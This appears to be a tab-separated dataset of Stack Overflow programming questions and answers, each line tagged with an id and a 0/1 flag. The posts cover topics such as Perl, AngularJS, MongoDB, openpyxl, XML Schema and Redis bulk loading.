6103593	0	 <p>First of all, you should always put <code>use strict;</code> at the top of your program. That will catch numerous errors early.</p> <p>The last line in your <code>foreach</code> loop is the one that dereferences <code>$thingy</code> correctly. But since you've put <code>@{$thingy}</code> on the left-hand side of the <code>.</code> (string concatenation) operator, the array is in scalar context, and arrays in scalar context evaluate to their size. Just say:</p> <pre><code>print "@{$thingy}\n"; </code></pre> <p>to get the elements of <code>@$thingy</code> separated by spaces, or in general</p> <pre><code>print join('|', @{$thingy}), "\n"; </code></pre> <p>if you want to use another separator, like the vertical bar character. You can also just say</p> <pre><code>print @{$thingy}, "\n"; </code></pre> <p>to print the elements with no separator at all.</p>
32205707	0	Filter data on the query or with Java stream? <p>I have a Play 2.3.x Java application connected to a MongoDB database via Morphia.</p> <p>I activated slow query profiling in MongoDB and saw that a query comes often. It looks like this :</p> <pre><code>"query": { "field1": null, "field2": true, "field3": "a061ee3f-c2be-477c-ad81-32f852b706b5", "$or": [ { "field4.VAL.VALUE_1": "EXPECTED_VALUE_1", "field4.VAL.VALUE_2": "EXPECTED_VALUE_2" } ] } </code></pre> <p>In its current state, there is no index so every time the query is executed the whole collection is scanned. I still have a few documents, but I anticipate the growth of the database.</p> <p>So I was wondering what was the best solution :</p> <ol> <li>Remove all the clauses above from the query, retrieve all results (paginated) and filter with Java <code>Stream API</code></li> <li>Keep the query as is and index the fields</li> </ol> <p>If you see another solution, feel free to suggest it :)</p> <p>Thanks.</p>
36595396	0	 <p>check out how CardLayout works</p> <p><a href="https://docs.oracle.com/javase/tutorial/uiswing/layout/card.html" rel="nofollow">https://docs.oracle.com/javase/tutorial/uiswing/layout/card.html</a></p> <p>if you only want to switch between the windows:</p> <ol> <li>Add jPanel to your jFrame which will contain all jPanels you want to switch between (let's call it jPanelMain)</li> <li>Set CardLayout in jPanelMain</li> <li>Create jPanels you want to switch between with the stuff you need there</li> <li><p>Add Action Listener to the radio button, example</p> <pre><code>private void jButtonActionPerformed(java.awt.event.ActionEvent e) { jPanelMain.removeAll(); jPanelMain.repaint(); jPanelMain.revalidate(); jPanelMain.add(jPanel1); jPanelMain.repaint(); jPanelMain.revalidate(); } </code></pre></li> </ol>
11480503	0	How to add custom app icon on Android in Phonegap? <p>Do you know how to add a custom .png icon on Android in Phonegap? I changed the AndroidManifest.xml "android:icon="@drawable/ic_launcher" to a custom name but it's not working. In addition, my icons are all in the www/res/drawable folders with the correct sizes each png should be. I have no idea what the deal is. Any help would be greatly appreciated.</p>
9216542	0	How do I count the number of elements in each group? <p>How do I get a count of the elements within a particular group? So in the query below I want to know how many cancelled and active subscriptions each account has. What I am getting is either 0 or 1, depending on whether they have at least one cancelled or active subscription.</p> <pre><code>from a in Accounts let subs = ( from s in Subscriptions.Where(s=&gt;s.AccountId == a.Id) group s by s.Status into bystatus select bystatus ) let csubs = subs.Count (s =&gt;s.Key == "Cancelled") let asubs = subs.Count (s =&gt; s.Key == "Active") orderby a.Name select new { a.Name,a.AccountNumber, a.Status, ActiveSubscriptionCount = asubs, CancelledSubscriptionCount = csubs } </code></pre>
6119557	0	 <p>Class level variables can't maintain their value on postback.</p> <p>But there are two ways you can maintain Data on the Page's PostBack: <code>ViewState and Session State</code>. But I would suggest in your Scenario to put it in the <code>ViewState</code>.</p> <pre><code>ViewState["theDataTable"] = theDataTable; Session["theDataTable"] = theDataTable; </code></pre> <p>And then you can access it on the page postback:</p> <pre><code>DataTable theDataTable = (DataTable)ViewState["theDataTable"]; DataTable theDataTable = (DataTable)Session["theDataTable"]; </code></pre>
19043514	0	 <p>You've escaped the <code>}</code> for boost, but you need to escape the <code>\</code> escape char for the compiler as well.</p> <pre><code>boost::wregex rightbrace(L"\\}"); </code></pre>
37077994	0	 <pre><code>angular .module('app', []) .controller('Ctrl', function() { this.tags = [ { name: 'bob' }, { name: 'rick' }, { name: 'dave' } ]; }) &lt;body ng-controller="Ctrl as vm"&gt; &lt;ul&gt; &lt;li ng-repeat="obj in vm.tags" ng-class="{'active': vm.active == obj.name}"&gt; &lt;a ng-click="vm.active = obj.name"&gt;{{obj.name}}&lt;/a&gt; &lt;/li&gt; &lt;/ul&gt; {{vm.active}} &lt;/body&gt; </code></pre> <p><a href="https://plnkr.co/edit/wvKIUtJIb0AE1vpWDtv9?p=preview" rel="nofollow">https://plnkr.co/edit/wvKIUtJIb0AE1vpWDtv9?p=preview</a></p>
25662942	0	DocumentDb User Data Segregation <p>I'm testing out the recently released DocumentDb and can't find any documentation indicating best practice on how to perform user data segregation. </p> <p>I imagine the rough design would be:</p> <ul> <li>Authenticate the user and create new/obtain existing user id</li> <li>On document insert inject the user id into the document</li> <li>On read of document/collection of documents query where document user id = current user id</li> </ul> <p>I'm creating an AngularJs application and currently use an Azure Sql Database combined with Azure Mobile Services. </p> <p>Mobile services handles the user authentication and also the server side user data segregation by the use of data script javascript functions:</p> <p>e.g. </p> <pre><code>function insert(item, user, request) { item.userId = user.userId; request.execute(); } </code></pre> <p>Any suggestions on what would be the technique for secure user data segregation from AngularJS using DocumentDB?</p>
11674164	0	 <p>From custom password validator you can return FaultCode that describe what's wrong:</p> <pre><code>throw new FaultException("Invalid user name or bad password.", new FaultCode("BadUserNameOrPassword")); throw new FaultException("Password expired.", new FaultCode("PasswordExpired")); throw new FaultException("Internal service error.", new FaultCode("InternalError")); </code></pre>
40516789	0	 <p>In this case could be better a CreateCommand </p> <p>for do this you should bild raw query using join eg: </p> <pre><code>select * from `feed` join `website` on `website`.id = `feed`.`website_id` WHERE website`.`user_id`= 1 AND `feed`.id IN (2, 3) </code></pre> <p>or for delete </p> <pre><code>delete from `feed` join `website` on `website`.id = `feed`.`website_id` WHERE website`.`user_id`= 1 AND `feed`.id IN (2, 3) </code></pre> <p>then for Yii2</p> <pre><code>$sql = "delete from `feed` join `website` on `website`.id = `feed`.`website_id` WHERE website`.`user_id`= 1 AND `feed`.id IN (2, 3);" Yii::$app-&gt;db-&gt;createCommand($sql)-&gt;execute(); </code></pre>
37375733	0	 <blockquote> <p>how vecor is initialised?</p> </blockquote> <p>It's default initialized implicitly (i.e. initialized by the default constructor). To be complete, it's default initialized at first, and then copy assigned in the body of constructor.</p> <p>The more effiient way is using <a href="http://en.cppreference.com/w/cpp/language/initializer_list" rel="nofollow">member initializer list</a>.</p> <pre><code>class Student : public Person { private: vector&lt;int&gt; testScores; public: Student(string firstname, string lastname, int id, const vector&lt;int&gt;&amp; scores) :Person(firstname, lastname, id), testScores(scores) { } ... }; </code></pre> <p>It's copy initialized now (i.e. initialized by the copy constructor).</p>
25735350	0	 <p>You can do this in this way.</p> <p>In HTML do like below.</p> <pre><code>&lt;ul&gt; &lt;li data-ng-repeat="record in records"&gt; &lt;input type="checkbox" ng-model="selected[record.Id]"&gt; {{record.Id}} &lt;/li&gt; &lt;/ul&gt; </code></pre> <p>And in controller you have to add selected property.</p> <pre><code>function MyCtrl($scope) { $scope.records = [ { "Id": 1, }, { "Id": 2 }, { "Id": 3 } ]; $scope.selected = {}; $scope.ShowSelected = function() { return $scope.selected }; </code></pre> <p>When you read the selected property you will get the selected list.</p> <p><strong><a href="http://jsfiddle.net/e8Nj3/38/" rel="nofollow">Demo</a></strong></p>
27798343	0	 <p><code>Base64</code> encoding takes 3 input bytes and converts them to 4 bytes. So if you have 100 Mb file that will end up to be 133 Mb in <code>Base64</code>. When you convert it to Java string (<code>UTF-16</code>) it size will be doubled. Not to mention that during conversion process at some point you will hold multiple copies in memory. No matter how you turn this it is hardly going to work. </p> <p>This is slightly more optimized code that uses <code>Base64OutputStream</code> and will need less memory than your code, but I would not hold my breath. My advice would be to improve that code further by skipping conversion to string, and using temporary file stream as output instead of <code>ByteArrayOutputStream</code>.</p> <pre><code>InputStream inputStream = null;//You can get an inputStream using any IO API inputStream = new FileInputStream(file.getAbsolutePath()); byte[] buffer = new byte[8192]; int bytesRead; ByteArrayOutputStream output = new ByteArrayOutputStream(); Base64OutputStream output64 = new Base64OutputStream(output, Base64.DEFAULT); try { while ((bytesRead = inputStream.read(buffer)) != -1) { output64.write(buffer, 0, bytesRead); } } catch (IOException e) { e.printStackTrace(); } output64.close(); attachedFile = output.toString(); </code></pre>
36031822	0	 <p>You can use <strong>Project Dependencies</strong> to adjust build order:</p> <ol> <li>In Solution Explorer, select a project.</li> <li>On the <strong>Project</strong> menu, choose <strong>Project Dependencies</strong>.The <strong>Project Dependencies</strong> dialog box opens.</li> <li>On the <strong>Dependencies</strong> tab, select a project from the <strong>Project</strong> drop-down menu.</li> <li>In the <strong>Depends on</strong> field, select the check box of any other project that must build before this project does.</li> <li>Check-in the solution to TFS.</li> </ol>
28057527	0	 <p>THIS is the right way to do it.</p> <p>One more thing to keep in mind is that you MUST set the FILE SIZE:</p> <pre><code>curl_easy_setopt(curlHandle, CURLOPT_INFILESIZE,(curl_off_t)putData.size); </code></pre> <p>Otherwise your server might throw an error stating that the request length wasn't specified.</p> <p>putData is an instance of the put_data structure.</p>
17056545	0	 <p>This process is handled by the Android <code>MediaScanner</code>. This is what scans the phone for new media and stores it in the Android media database. I believe the time frame which it runs is device specific. However, you can call it manually:</p> <pre><code> Uri uri = Uri.fromFile(destFileOrFolder); Intent scanFileIntent = new Intent(Intent.ACTION_MEDIA_SCANNER_SCAN_FILE, uri); sendBroadcast(scanFileIntent); </code></pre>
36534762	0	 <p>I know the option the <code>(b)</code> you can entirely disable Silex app error handler and after that, your custom error handler should work fine as you defined it.</p> <p>Entirely disabled Silex error handler:</p> <pre><code>$app['exception_handler']-&gt;disable(); </code></pre> <p>So, It will be like:</p> <pre><code>require_once 'Exception.php'; # Load the class $handler = new ErrorHandler(); # Initialize/Register it $app = new \Silex\Application(); $app-&gt;get('/', function () use ($app) { nonexistentfunction(); trigger_error("example"); throw new \Exception("example"); }); $app-&gt;run(); </code></pre>
14684312	1	Issue with creating "xlsx" in Python by copying data from csv <p>I am trying to copy all the data in csv to excel "xlsx" file using python. I am using following code to do this:</p> <pre><code>from openpyxl import load_workbook import csv #Open an xlsx for reading wb = load_workbook(filename = "empty_book.xlsx") #Get the current Active Sheet ws = wb.get_active_sheet() #You can also select a particular sheet #based on sheet name #ws = wb.get_sheet_by_name("Sheet1") #Open the csv file with open("Pricing_Updated.csv",'rb') as fin: #read the csv reader = csv.reader(fin) #get the row index for the xlsx #enumerate the rows, so that you can for index,row in enumerate(reader): i=0 for row[i] in row: ws.cell(row=index,column=i).value = row[i] i = i+1 #save the excel file wb.save("empty_book.xlsx") </code></pre> <p>I found this code on <strong>SO</strong> itself and modified it to make it usable for my case. But this code is throwing <code>UnicodeDecodeError: 'ascii' codec can't decode byte 0xa3 in position 0: ordinal not in range(128)</code> error for <code>ws.cell(row=index,column=i).value = row[i]</code> line.</p> <p>Please help me in resolving this issue.</p> <p><strong>Update</strong>: I tried using following code also to resolve the issue but came across <code>UnicodeDecode</code> error again for <code>ws.cell(row=rowx,column=colx).value = row[colx]</code> line:</p> <pre><code>for rowx,row in enumerate(reader): for colx, value in enumerate(row): ws.cell(row=rowx,column=colx).value = row[colx] </code></pre> <p><strong>Update 2</strong>: I tried using <code>xlwt</code> module also to copy the csv into xls (as it doesn't support xlxs) and again came across <code>UnicodeDecode</code> error, code which I used was:</p> <pre><code>import glob, csv, xlwt, os wb = xlwt.Workbook() for filename in glob.glob("Pricing_Updated.csv"): (f_path, f_name) = os.path.split(filename) (f_short_name, f_extension) = os.path.splitext(f_name) ws = wb.add_sheet(f_short_name) spamReader = csv.reader(open(filename, 'rb')) for rowx, row in enumerate(spamReader): for colx, value in enumerate(row): ws.write(rowx, colx, value) wb.save("exceltest7.xls") </code></pre>
19829235	0	zbar sdk view third party library error in Xcode 5 <p>I am using z bar SDK in x code 5 when i am archiving its getting following errors </p> <pre><code>Undefined symbols for architecture armv7: "_CMSampleBufferGetImageBuffer", referenced from: -[ZBarCaptureReader captureOutput:didOutputSampleBuffer:fromConnection:] in libzbar.a(ZBarCaptureReader.o) "_CMSampleBufferIsValid", referenced from: -[ZBarCaptureReader captureOutput:didOutputSampleBuffer:fromConnection:] in libzbar.a(ZBarCaptureReader.o) "_CMSampleBufferDataIsReady", referenced from: -[ZBarCaptureReader captureOutput:didOutputSampleBuffer:fromConnection:] in libzbar.a(ZBarCaptureReader.o) "_CMSampleBufferGetNumSamples", referenced from: -[ZBarCaptureReader captureOutput:didOutputSampleBuffer:fromConnection:] in libzbar.a(ZBarCaptureReader.o) ld: symbol(s) not found for architecture armv7 clang: error: linker command failed with exit code 1 (use -v to see invocation) </code></pre>
16146153	0	XML - Schema Element with attribute and sequence of sub-elements <p>I have a XML schema as follows:</p> <pre><code>&lt;?xml version="1.0" encoding="ISO-8859-1"?&gt; &lt;xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" elementFormDefault="qualified"&gt; &lt;xs:element name="labels"&gt; &lt;xs:complexType&gt; &lt;xs:sequence&gt; &lt;xs:element name="label" minOccurs="1" maxOccurs="unbounded"&gt; &lt;xs:complexType&gt; &lt;xs:sequence&gt; &lt;xs:element name="language" minOccurs="1" maxOccurs="unbounded"&gt; &lt;xs:complexType&gt; &lt;xs:simpleContent&gt; &lt;xs:extension base="xs:string"&gt; &lt;xs:attribute name="value" type="xs:string" /&gt; &lt;/xs:extension&gt; &lt;/xs:simpleContent&gt; &lt;/xs:complexType&gt; &lt;/xs:element&gt; &lt;/xs:sequence&gt; &lt;/xs:complexType&gt; &lt;/xs:element&gt; &lt;/xs:sequence&gt; &lt;/xs:complexType&gt; &lt;/xs:element&gt; &lt;/xs:schema&gt; </code></pre> <p><code>&lt;labels&gt;</code> can have many <code>&lt;label&gt;</code> elements, and a <code>&lt;label&gt;</code> element can have many <code>&lt;language&gt;</code> elements. Now what i need is for my <code>&lt;label&gt;</code> element to have a unique attribute called 'identifier'.</p> <p>I want to have a XML structure like this:</p> <pre><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;labels xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance' xsi:noNamespaceSchemaLocation='labels.xsd'&gt; &lt;label identifier="class_contact"&gt; &lt;language value="english"&gt;Contacts&lt;/language&gt; &lt;language value="afrikaans"&gt;Kontakte&lt;/language&gt; &lt;/label&gt; &lt;/labels&gt; </code></pre> <p>OK i changed it to this, now it allows for the identifier attribute but it does not enforce it to be unique.</p> <pre><code>&lt;?xml version="1.0" encoding="ISO-8859-1"?&gt; &lt;xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" elementFormDefault="qualified"&gt; &lt;xs:element name="labels"&gt; &lt;xs:complexType&gt; &lt;xs:sequence&gt; &lt;xs:element name="label" maxOccurs="unbounded"&gt; &lt;xs:complexType&gt; &lt;xs:sequence&gt; &lt;xs:element name="language" minOccurs="1" maxOccurs="unbounded"&gt; &lt;xs:complexType&gt; &lt;xs:simpleContent&gt; &lt;xs:extension base="xs:string"&gt; &lt;xs:attribute name="value" type="xs:string" /&gt; &lt;/xs:extension&gt; &lt;/xs:simpleContent&gt; &lt;/xs:complexType&gt; &lt;/xs:element&gt; &lt;/xs:sequence&gt; &lt;xs:attribute name="identifier" type="xs:string" /&gt; &lt;/xs:complexType&gt; &lt;xs:unique name="UniqueLabelLanguage"&gt; &lt;xs:selector xpath="language" /&gt; &lt;xs:field xpath="@value" /&gt; &lt;/xs:unique&gt; &lt;xs:unique name="UniqueLabelIdentifier"&gt; &lt;xs:selector xpath="label" /&gt; &lt;xs:field xpath="@identifier" /&gt; &lt;/xs:unique&gt; &lt;/xs:element&gt; &lt;/xs:sequence&gt; &lt;/xs:complexType&gt; &lt;/xs:element&gt; &lt;/xs:schema&gt; </code></pre>
32910156	0	 <p>Yes, you could do this: </p> <pre><code>&lt;select class="form-control" id="field_cusPro" name="cusPro" ng-model="rentalAgreement.customerProfile" ng-options="cusPro as cusPro.Name+' ('+cusPro.id+')' for cusPro in cuspros track by cusPro.id"&gt; &lt;option value=""&gt;&lt;/option&gt; </code></pre>
15011401	0	 <p>Try this:</p> <p><a href="http://jsfiddle.net/edz8B/1/" rel="nofollow">DEMO</a></p> <p>JS</p> <pre><code>function setChk(value){ var chk = document.getElementById('check1'); chk.checked = (value != 'null'); } </code></pre> <p>HTML</p> <pre><code>&lt;table&gt; &lt;tr&gt; &lt;td&gt; &lt;input type="checkbox" name="check1" id="check1"/&gt;Process 1:&lt;/td&gt; &lt;td&gt; &lt;select id="process1" name="process1" onchange="setChk(this.value);"&gt; &lt;option value="null"&gt;--Select Process--&lt;/option&gt; &lt;option value="NameA"&gt;NameA&lt;/option&gt; &lt;option value="NameB"&gt;NameB&lt;/option&gt; &lt;option value="NameC"&gt;NameC&lt;/option&gt; &lt;/select&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; </code></pre>
20892832	0	 <p>You can pass in a function to compute the Jacobian as the <code>Dfun</code> argument to the <code>Minimizer.leastsq</code> method: <a href="http://lmfit.github.io/lmfit-py/fitting.html#leastsq" rel="nofollow">http://lmfit.github.io/lmfit-py/fitting.html#leastsq</a></p> <p>By default the function passed in for <code>Dfun</code> should return an array with the same number of rows as parameters, and each row the derivative with respect to each parameter being fitted. Make sure to specify the parameters with a <a href="http://cars9.uchicago.edu/software/python/lmfit/parameters.html#the-parameters-class" rel="nofollow">Parameters</a> object so that the parameters are treated in the correct order. I believe this this necessary IIRC though it might not matter.</p>
19063800	0	how to get different hidden field values in multiple form in a page <p>in a page i have 2 forms where both having a hidden field named operation(same name for both form)</p> <pre><code>included jquery.min-1.5.js &amp; jquery-ui.min-1.8.js &lt;script&gt; $(document).ready(function(){ $('#get_val').live('click', function() { alert($('#operation').val()); }); }); &lt;/script&gt; &lt;form id="form_como" name="form_como" action="go.php" method="post"&gt; //some code..... &lt;input type="hidden" name="operation" id="operation" value="first"&gt; &lt;input type="button" name="get_val" id="get_val" value="Get Val"/&gt; &lt;/form&gt; &lt;br /&gt; &lt;form id="form_como2" name="form_como2" action="" method="post"&gt; //some code..... &lt;input type="hidden" name="operation" id="operation" value="second"&gt; &lt;input type="button" name="get_val" id="get_val" value="Get Val"/&gt; &lt;/form&gt; </code></pre> <p>When i click "Get Val" button i always get 'first" (for both cases). but i need the value of the button which one i have clicked.</p>
12736412	0	 <p>Add c:/PROGRA~1/Java/JDK16~1.0_3\bin\ to Path environment variable</p>
3908059	0	How to set a NSView hidden with FadeOut animation in cocoa? <p>I'm hiding a subview from a CustomView element with the following code:</p> <pre> <code> [[[theViewcont subviews] objectAtIndex:0] setHidden:TRUE] </code> </pre> <p>how can i add a fade animation on hiding this NSVIEW?</p>
6270084	0	What's the best way to support array column types with external tables in hive? <p>So i have external tables of tab delimited data. A simple table looks like this:</p> <pre><code>create external table if not exists categories (id string, tag string, legid string, image string, parent string, created_date string, time_stamp int) ROW FORMAT DELIMITED FIELDS TERMINATED BY '\t' LOCATION 's3n://somewhere/'; </code></pre> <p>Now I'm adding another field to the end, it will be a comma separated list of values. </p> <p>Is there a way to specify this in the same way that I specify a field terminator, or do I have to rely on one of the serdes?</p> <p>eg:</p> <pre><code>...list_of_names ARRAY&lt;String&gt;) ROW FORMAT DELIMITED FIELDS TERMINATED BY '\t' ARRAY ELEMENTS SEPARATED BY ',' ... </code></pre> <p>(I'm assuming I'll need to use a serde for this, but I figured there wasn't any harm in asking)</p>
34573787	0	 <p>Your second file - <code>captureit.java</code> - cannot be an Activity. An Activity can only be created by calling <code>startActivity()</code> or <code>startActivityForResult()</code> from another activity with an intent. When you call <code>new CaptureIt()</code> the <code>onCreate()</code> method and other activity-specific methods are not called. This means that the activity doesn't have the correct information to do some things - like starting another activity.</p> <p>Basically you're trying to start the camera activity from an activity that doesn't exist to Android, so it's throwing a NullPointerException.</p> <p>I'd recommend moving it back into the same file until you understand how moving between activities works in Android.</p> <p>You could still split the helper methods (<code>getOutputMediaFile()</code>, etc) into another file to keep the main activity file simple. But <em>don't</em> make it an activity and <em>don't</em> call <code>startActivityForResult</code> from it.</p>
8207980	0	 <p>You can use this code for your same work:</p> <pre><code>UIWebView *web = [[UIWebView alloc] initWithFrame:YOUR_FRAME]; NSString *path = [[NSBundle mainBundle] pathForResource:@"terms and conditions" ofType:@"html"]; NSURL *url = [NSURL fileURLWithPath:path isDirectory:NO]; [web loadRequest:[NSURLRequest requestWithURL:url]]; [YOUR_VIEW addSubview:web]; [web release]; </code></pre> <p>Only you need to bake your <code>HTML</code> file.</p> <p>I hope it be useful for you!</p>
22197264	0	 <p>I think this is what you are after:</p> <pre><code>Select student_course_modules.module_id from student_course_modules left join student_courses on student_courses.id = student_course_modules.student_course_id where student_courses.course_id="1" And student_courses.student_id="ST_2014_1" And student_course_modules.module_id IN ("'1'")) </code></pre>
28009396	0	 <p>If you got <code>caffe</code> from git you should find in <code>data/ilsvrc12</code> folder a shell script <code>get_ilsvrc_aux.sh</code>.<br> This script should download several files used for ilsvrc (sub set of imagenet used for the large scale image recognition challenge) training. </p> <p>The most interesting file (for you) that will be downloaded is <code>synset_words.txt</code>, this file has 1000 lines, one line per class identified by the net.<br> The format of the line is</p> <blockquote> <p>nXXXXXXXX description of class</p> </blockquote>
13450229	0	 <pre><code>jQuery(document).ready(function () { jQuery(".btnshow").click(function () { var pagename, pid; pid=jQuery(this).attr('rel'); pagename="&lt;?php echo JURI::root();?&gt;index.php?option=com_componentname&amp;view=result&amp;Id="+pid; jQuery.get(pagename, function (data) { jQuery('.para1').html(data); }); }); }); &lt;a href="JavaScript:void(0);" rel="&lt;?php echo $id; ?&gt;" title="&lt;?php echo $id; ?&gt;"&gt;&lt;img src="&lt;?php echo $image; ?&gt;" alt="" /&gt;&lt;/a&gt; </code></pre>
20591374	0	Transparent frame in windows phone 8 / XAML <p>I have two frames, main.xaml and target.xaml. I navigated to target.xaml from main.xaml. target.xaml has some content in a little square. Now I want that besides this square the rest of the area(of target.xaml frame) should be transparent(It should show main.xaml). I could not found any solution. Please help me. Are "opacity" or something like "isFullScreen" can help ?</p>
1688143	0	Finding out where curl was redirected <p>I'm using curl to make php send an http request to some website somewhere and have set CURLOPT_FOLLOWLOCATION to 1 so that it follows redirects. How then, can I find out where it was eventually redirected?</p>
4880472	0	Printing with the browser in Silverlight 4 <p>I have a Silverlight 4 app which is essentially a canvas filled with user-drawn controls. When I use Print (or Print Preview) in Firefox 3.6, the canvas is not displayed.</p> <p>Every example wrt printing in Silverlight creates a Print button within their Silverlight app. Isn't there a browser event I can hook into (or something) so that the user can print from the browser instead of the application?</p>
14083692	0	How to autheticate once in google drive api <p>I have this problem about google drive. This is my application <img src="https://i.stack.imgur.com/bdJre.jpg" alt="enter image description here"></p> <p>As you can see here. I want to browse and upload the file to google drive. But every time I upload a file i need to allow and copy the authentication to my application.. like here</p> <p><img src="https://i.stack.imgur.com/7jLMb.png" alt="enter image description here"> </p> <p>Is it possible to allow access once? Is there any other way to fix this? Can i automatically allow access to the authentication code within my application so that i may not use the browser??</p>
4191293	0	 <p>StringTokenizer treats consecutive delimiters as a single delimiter. You say the input contains [tab space] as delimiters, but the rest of your code doesn't seem to be expecting spaces so, without more information, I'm going to guess that the input is delimited only with tabs (not [tab space]), and the adjacent delimiters are being ignored, Then the last <code>nextToken()</code> throws an exception which you are ignoring.</p> <p>The answer here is to rewrite this using <code>split()</code>, as recommended in the <a href="http://download.oracle.com/javase/6/docs/api/java/util/StringTokenizer.html" rel="nofollow">Javadoc</a></p> <blockquote> <p>StringTokenizer is a legacy class that is retained for compatibility reasons although its use is discouraged in new code. It is recommended that anyone seeking this functionality use the split method of String or the java.util.regex package instead.</p> </blockquote> <p>That said, you should look at any of the existing CSV libraries out there (Google for Java CSV).</p>
10519284	0	 <p>There is a 2GB limit for <em>apps</em> from the App Store but as far as user data goes, you should be able to basically fill the disk. When that happens, your saves will start to fail, I believe with 'NSFileWriteOutOfSpaceError' bubbled up from the PSC.</p> <p>As far as limiting entity space, there's no Core Data support for this - you'd have to handle it programatically. You could extend the validation system to check for certain conditions (free space, number of entities) and fail an insert or update if these didn't match your criteria.</p> <p>If you want to delete old users, just sort the results and delete the first/last one.</p>
30282411	0	 <p>You should just consider using JButton but to answer the question:</p> <hr> <p><br>Try using MouseListener with BevelBorder for example:</p> <pre><code>yourPanel.addMouseListener(new MouseListener() { Border b = new BevelBorder(BevelBorder.LOWERED); Border originalBorder = null; @Override public void mouseReleased(MouseEvent e) { ((JComponent)e.getComponent()).setBorder(originalBorder); } @Override public void mousePressed(MouseEvent e) { originalBorder = ((JComponent)e.getComponent()).getBorder(); ((JComponent)e.getComponent()).setBorder(b); } ... }); </code></pre> <h1>Examples:</h1> <h2>Not clicked:</h2> <p><img src="https://i.stack.imgur.com/GM2Gw.png" alt="Not clicked"></p> <p><br></p> <h2>Clicked:</h2> <p><img src="https://i.stack.imgur.com/PA9WF.png" alt="Clicked"></p>
30458538	0	 <p>It seems like a very specialized/unusual use case. It violates LSP. And using exceptions at all is unidiomatic in scala - <code>scala.util.control.Exception</code> is mainly about catching exceptions that library functions might throw and translating them into more idiomatic expressions of potential failures.</p> <p>If you want to do this then write your own code for it - it should be pretty straightforward. I really don't think this is a common enough use case for there to be a standard library function for it.</p>
16941640	0	Sed/Awk/Cut GNU transform text lines to single line <p>I have the following type of data:</p> <pre><code>3869|Jennifer Smith 10413 NE 71st Street Vancouver, WA 98662 360-944-9578 jsmith@yahoo.com|1234567890123456|03-2013|123 -- 3875|Joan L Doe 422 1/2 14th Ave E Seattle, WA 98112 206-322-7666 jldoe@comcast.net|1234-1234-1234-1234|03-2013|123 -- 3862|Dana Doe 24235 NE 7th Pl Sammamish, WA 98074 425 868-2227 jsmith@hotmail.com|1234567890123456|03-2013|123 -- 3890|John Smith 10470 SW 67th Ave Tigard, OR 97223 5032205213 john.smith@gmail.com|1234567890123456|03-2013|123 </code></pre> <p>I need to transform it to:</p> <pre><code>3869|Jennifer Smith|10413 NE 71st Street|Vancouver, WA|98662|360-944-9578|jsmith@yahoo.com|1234567890123456|03-2013|123 3875|Joan L Doe|422 1/2 14th Ave E|Seattle, WA|98112|206-322-7666|jldoe@comcast.net|1234-1234-1234-1234|03-2013|123 3862|Dana Doe|24235 NE 7th Pl|Sammamish, WA|98074|425 868-2227|jsmith@hotmail.com|1234567890123456|03-2013|123 3890|John Smith|10470 SW 67th Ave|Tigard, OR|97223|5032205213|john.smith@gmail.com|1234567890123456|03-2013|123 </code></pre> <p>or better:</p> <pre><code>3869|Jennifer Smith|10413 NE 71st Street|Vancouver|WA|98662|360-944-9578|jsmith@yahoo.com|1234567890123456|03-2013|123 3875|Joan L Doe|422 1/2 14th Ave E|Seattle|WA|98112|206-322-7666|jldoe@comcast.net|1234-1234-1234-1234|03-2013|123 3862|Dana Doe|24235 NE 7th Pl|Sammamish|WA|98074|425 868-2227|jsmith@hotmail.com|1234567890123456|03-2013|123 3890|John Smith|10470 SW 67th Ave|Tigard|OR|97223|5032205213|john.smith@gmail.com|1234567890123456|03-2013|123 </code></pre> <p>any idea how to automate this using GNU sed, awk, cu or perl/python whatever... Thank you!</p>
7505011	0	Bulk ingest into Redis <p>I'm trying to load a large piece of data into Redis as fast as possible.</p> <p>My data looks like:</p> <pre><code>771240491921 SOME;STRING;ABOUT;THIS;LENGTH 345928354912 SOME;STRING;ABOUT;THIS;LENGTH </code></pre> <p>There is a ~12 digit number on the left and a variable length string on the right. The key is going to be the number on the left and the data is going to be the string on the right.</p> <p>In my Redis instance that I just installed out of the box and with an uncompressed plain text file with this data, I can get about a million records into it a minute. I need to do about 45 million, which would take about 45 minutes. 45 minutes is too long.</p> <p>Are there some standard performance tweaks that exist for me to do this type of optimization? Would I get better performance by sharding across separate instances?</p>
30767405	0	 <p>Agree with the above, in plain english, your code will be executed like this: </p> <ol> <li>final List studentList = new ArrayList(); </li> <li>ParseQuery query = ParseQuery.getQuery("Student");<br/> ------> 1. query.findInBackground (Popped onto background thread) </li> <li>return studentList (so yes, by the time you get here, studentList will probably be null). </li> </ol> <p>Just remember ".findinbackground" will always go to a background thread.</p>
21299032	0	 <p>If you want your AJAX request to retrieve and execute code, use <code>dataType: 'script'</code>.</p> <p>Appending script to the DOM isn't going to do anything.</p> <p>See the <a href="http://api.jquery.com/jquery.ajax/" rel="nofollow">documentation</a>:</p> <blockquote> <p><strong>dataType</strong>:<br> ...<br> "script": Evaluates the response as JavaScript and returns it as plain text. Disables caching by appending a query string parameter, "_=[TIMESTAMP]", to the URL unless the cache option is set to true. Note: This will turn POSTs into GETs for remote-domain requests.<br> ...</p> </blockquote>
15263602	0	 <p>It will look something like this in your <code>AppDelegate</code>:</p> <pre><code>- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions { self.window = [[UIWindow alloc] initWithFrame:[[UIScreen mainScreen] bounds]]; WebViewController *webViewController1 = [[WebViewController alloc] initWithPDFAtURL:@"urlToPDF1"]; WebViewController *webViewController2 = [[WebViewController alloc] initWithPDFAtURL:@"urlToPDF2"]; WebViewController *webViewController3 = [[WebViewController alloc] initWithPDFAtURL:@"urlToPDF3"]; UITabBarController *tabBarController = [[UITabBarController alloc] init]; [tabBarController setViewControllers:[NSArray arrayWithObjects:webViewController1, webViewController2, webViewController3, nil]]; self.window.rootViewController = tabBarController; [self.window makeKeyAndVisible]; return YES; } </code></pre> <p>You will need to have a view controller that holds the <code>UIWebView</code>, and could look something like:</p> <pre><code>// WebViewController.h @interface WebViewController : UIViewController @end // WebViewController.m @interface WebViewController () @property (nonatomic, strong) NSURL *_pdfURL; @end @implementation WebViewController @synthesize _pdfURL; - (id)initWithPDFAtURL:(NSURL *)url { self = [super init]; if (self) { _pdfURL = url; } return self; } - (void)viewDidLoad { [super viewDidLoad]; // Load the PDF into a UIWebView } </code></pre>
